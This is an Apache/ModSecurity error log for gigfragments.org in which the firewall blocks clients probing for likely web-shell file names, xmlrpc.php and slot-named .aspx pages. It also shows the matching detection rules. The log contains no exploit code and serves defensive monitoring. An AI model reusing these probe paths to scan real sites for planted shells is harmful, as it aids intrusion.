[Fri Apr 17 04:47:41.046463 2026] [:error] [pid 9263:tid 9289] [client 20.199.113.127:62897] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeFK7RP68VyHNvj1e57QYQAAANg"]
[Fri Apr 17 04:47:41.543383 2026] [:error] [pid 9153:tid 9224] [client 20.199.113.127:62163] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ew.php"] [unique_id "aeFK7eMHGxkTZX3c45ffFAAAAIY"]
[Fri Apr 17 04:47:42.019088 2026] [:error] [pid 9152:tid 9204] [client 20.199.113.127:4567] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ew.php"] [unique_id "aeFK7pJYca8I3TNCwIf0ywAAAE4"]
[Fri Apr 17 04:47:42.579947 2026] [:error] [pid 9153:tid 9223] [client 20.199.113.127:27501] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ew.php"] [unique_id "aeFK7uMHGxkTZX3c45ffGwAAAIU"]
[Fri Apr 17 04:47:43.112328 2026] [:error] [pid 9151:tid 9179] [client 20.199.113.127:27476] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ew.php"] [unique_id "aeFK78hTVuRPkua22vSELQAAABI"]
[Fri Apr 17 04:47:43.614456 2026] [:error] [pid 9151:tid 9173] [client 20.199.113.127:27504] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aeFK78hTVuRPkua22vSEMAAAAAw"]
[Fri Apr 17 04:47:44.117608 2026] [:error] [pid 51878:tid 51903] [client 20.199.113.127:27498] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aeFK8EnQhUtMbw9EsgYwgQAAARc"]
[Fri Apr 17 04:47:44.610960 2026] [:error] [pid 9153:tid 9233] [client 20.199.113.127:62195] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aeFK8OMHGxkTZX3c45ffKgAAAI8"]
[Fri Apr 17 04:47:45.119303 2026] [:error] [pid 9153:tid 9224] [client 20.199.113.127:25514] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aeFK8eMHGxkTZX3c45ffLQAAAIY"]
[Fri Apr 17 04:47:45.645014 2026] [:error] [pid 9153:tid 9226] [client 20.199.113.127:4565] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "aeFK8eMHGxkTZX3c45ffMgAAAIg"]
[Fri Apr 17 04:47:46.148302 2026] [:error] [pid 9153:tid 9223] [client 20.199.113.127:24794] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "aeFK8uMHGxkTZX3c45ffOAAAAIU"]
[Fri Apr 17 04:47:46.716664 2026] [:error] [pid 9263:tid 9270] [client 20.199.113.127:27503] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "aeFK8hP68VyHNvj1e57QhQAAAMU"]
[Fri Apr 17 04:47:47.248571 2026] [:error] [pid 9263:tid 9278] [client 20.199.113.127:24830] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "aeFK8xP68VyHNvj1e57QiwAAAM0"]
[Fri Apr 17 04:47:47.768069 2026] [:error] [pid 9153:tid 9229] [client 20.199.113.127:45597] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aeFK8-MHGxkTZX3c45ffRAAAAIs"]
[Fri Apr 17 04:47:48.285433 2026] [:error] [pid 9152:tid 9202] [client 20.199.113.127:36411] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aeFK9JJYca8I3TNCwIf05QAAAEw"]
[Fri Apr 17 04:47:48.762798 2026] [:error] [pid 9153:tid 9224] [client 20.199.113.127:51924] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aeFK9OMHGxkTZX3c45ffSwAAAIY"]
[Fri Apr 17 04:47:49.245870 2026] [:error] [pid 9153:tid 9234] [client 20.199.113.127:24777] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aeFK9eMHGxkTZX3c45ffTQAAAJA"]
[Fri Apr 17 04:47:49.729633 2026] [:error] [pid 9152:tid 9211] [client 20.199.113.127:62880] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vee.php"] [unique_id "aeFK9ZJYca8I3TNCwIf07wAAAFU"]
[Fri Apr 17 04:47:50.245705 2026] [:error] [pid 9152:tid 9206] [client 20.199.113.127:62150] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vee.php"] [unique_id "aeFK9pJYca8I3TNCwIf08wAAAFA"]
[Fri Apr 17 04:47:50.786454 2026] [:error] [pid 9151:tid 9164] [client 20.199.113.127:24807] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vee.php"] [unique_id "aeFK9shTVuRPkua22vSEQwAAAAM"]
[Fri Apr 17 04:47:51.323368 2026] [:error] [pid 9152:tid 9197] [client 20.199.113.127:27481] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vee.php"] [unique_id "aeFK95JYca8I3TNCwIf0-QAAAEc"]
[Fri Apr 17 04:47:51.817523 2026] [:error] [pid 9153:tid 9224] [client 20.199.113.127:54530] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cabs.php"] [unique_id "aeFK9-MHGxkTZX3c45ffWAAAAIY"]
[Fri Apr 17 04:47:52.319546 2026] [:error] [pid 9263:tid 9266] [client 20.199.113.127:4492] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cabs.php"] [unique_id "aeFK-BP68VyHNvj1e57QsQAAAME"]
[Fri Apr 17 04:47:52.842093 2026] [:error] [pid 9263:tid 9275] [client 20.199.113.127:27472] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cabs.php"] [unique_id "aeFK-BP68VyHNvj1e57QtQAAAMo"]
[Fri Apr 17 04:47:53.373477 2026] [:error] [pid 51878:tid 51887] [client 20.199.113.127:27491] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cabs.php"] [unique_id "aeFK-UnQhUtMbw9EsgYwsgAAAQc"]
[Fri Apr 17 04:47:53.865006 2026] [:error] [pid 51878:tid 51881] [client 20.199.113.127:25991] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeFK-UnQhUtMbw9EsgYwtwAAAQE"]
[Fri Apr 17 04:47:54.335685 2026] [:error] [pid 9263:tid 9270] [client 20.199.113.127:58485] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeFK-hP68VyHNvj1e57QxQAAAMU"]
[Fri Apr 17 04:47:54.807708 2026] [:error] [pid 9151:tid 9166] [client 20.199.113.127:27483] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeFK-shTVuRPkua22vSESgAAAAU"]
[Fri Apr 17 04:47:55.311522 2026] [:error] [pid 9263:tid 9284] [client 20.199.113.127:4991] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeFK-xP68VyHNvj1e57Q1AAAANM"]
[Fri Apr 17 04:47:55.815184 2026] [:error] [pid 9263:tid 9266] [client 20.199.113.127:62876] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1da.php"] [unique_id "aeFK-xP68VyHNvj1e57Q2gAAAME"]
[Fri Apr 17 04:47:56.284985 2026] [:error] [pid 9153:tid 9238] [client 20.199.113.127:24776] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1da.php"] [unique_id "aeFK_OMHGxkTZX3c45ffawAAAJQ"]
[Fri Apr 17 04:47:56.761475 2026] [:error] [pid 51878:tid 51880] [client 20.199.113.127:36294] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1da.php"] [unique_id "aeFK_EnQhUtMbw9EsgYwugAAAQA"]
[Fri Apr 17 04:47:57.233076 2026] [:error] [pid 9152:tid 9194] [client 20.199.113.127:36409] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1da.php"] [unique_id "aeFK_ZJYca8I3TNCwIf1BAAAAEQ"]
[Fri Apr 17 04:47:57.732766 2026] [:error] [pid 9151:tid 9180] [client 20.199.113.127:62856] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aeFK_chTVuRPkua22vSEWQAAABM"]
[Fri Apr 17 04:47:58.233144 2026] [:error] [pid 51878:tid 51888] [client 20.199.113.127:58456] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aeFK_knQhUtMbw9EsgYwxgAAAQg"]
[Fri Apr 17 04:47:58.706043 2026] [:error] [pid 9153:tid 9225] [client 20.199.113.127:24828] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aeFK_uMHGxkTZX3c45ffeAAAAIc"]
[Fri Apr 17 04:47:59.209111 2026] [:error] [pid 9263:tid 9267] [client 20.199.113.127:36390] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aeFK_xP68VyHNvj1e57Q-QAAAMI"]
[Fri Apr 17 04:47:59.711576 2026] [:error] [pid 9153:tid 9225] [client 20.199.113.127:27479] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeFK_-MHGxkTZX3c45ffiQAAAIc"]
[Fri Apr 17 04:48:00.210134 2026] [:error] [pid 51878:tid 51899] [client 20.199.113.127:51960] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeFLAEnQhUtMbw9EsgYw0wAAARM"]
[Fri Apr 17 04:48:00.738019 2026] [:error] [pid 9153:tid 9229] [client 20.199.113.127:54576] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeFLAOMHGxkTZX3c45fflAAAAIs"]
[Fri Apr 17 04:48:01.245600 2026] [:error] [pid 9153:tid 9232] [client 20.199.113.127:58476] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeFLAeMHGxkTZX3c45ffnQAAAI4"]
[Fri Apr 17 04:59:20.086364 2026] [:error] [pid 9263:tid 9269] [client 43.166.244.192:48344] [client 43.166.244.192] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeFNqBP68VyHNvj1e57aTwAAAMQ"]
[Fri Apr 17 06:01:22.439246 2026] [:error] [pid 9153:tid 9241] [client 45.134.142.208:54937] [client 45.134.142.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.134.142.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeFcMuMHGxkTZX3c45cHFAAAAJc"]
[Fri Apr 17 06:01:24.662694 2026] [:error] [pid 9153:tid 9218] [client 45.134.142.208:53748] [client 45.134.142.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.134.142.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeFcNOMHGxkTZX3c45cHFwAAAIA"]
[Fri Apr 17 06:07:05.057916 2026] [:error] [pid 9151:tid 9185] [client 43.159.135.203:43858] [client 43.159.135.203] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeFdichTVuRPkua22vSisAAAABg"]
[Fri Apr 17 06:52:36.541909 2026] [:error] [pid 9263:tid 9265] [client 147.135.252.179:49108] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aeFoNBP68VyHNvj1e5403wAAAMA"]
[Fri Apr 17 06:52:38.439880 2026] [:error] [pid 9153:tid 9233] [client 147.135.252.179:58804] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aeFoNuMHGxkTZX3c45c9nwAAAI8"]
[Fri Apr 17 06:52:40.283892 2026] [:error] [pid 25010:tid 25033] [client 147.135.252.179:58820] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aeFoOI-7kkf42RarqQ3PxAAAAVQ"]
[Fri Apr 17 06:52:42.068575 2026] [:error] [pid 9263:tid 9269] [client 147.135.252.179:58830] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aeFoOhP68VyHNvj1e5408QAAAMQ"]
[Fri Apr 17 06:52:44.001103 2026] [:error] [pid 25010:tid 25030] [client 147.135.252.179:58842] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aeFoPI-7kkf42RarqQ3P6AAAAVE"]
[Fri Apr 17 06:52:46.150289 2026] [:error] [pid 51878:tid 51888] [client 147.135.252.179:58848] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aeFoPknQhUtMbw9Esga76AAAAQg"]
[Fri Apr 17 06:52:47.975874 2026] [:error] [pid 9263:tid 9285] [client 147.135.252.179:58862] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aeFoPxP68VyHNvj1e540_gAAANQ"]
[Fri Apr 17 06:52:50.051178 2026] [:error] [pid 51878:tid 51899] [client 147.135.252.179:50474] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aeFoQknQhUtMbw9Esga7-QAAARM"]
[Fri Apr 17 06:52:51.986253 2026] [:error] [pid 9152:tid 9196] [client 147.135.252.179:50480] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aeFoQ5JYca8I3TNCwIc4WwAAAEY"]
[Fri Apr 17 06:52:54.075796 2026] [:error] [pid 9153:tid 9233] [client 147.135.252.179:50484] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeFoRuMHGxkTZX3c45c-FAAAAI8"]
[Fri Apr 17 06:52:56.021981 2026] [:error] [pid 25010:tid 25022] [client 147.135.252.179:50494] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeFoSI-7kkf42RarqQ3QLwAAAUk"]
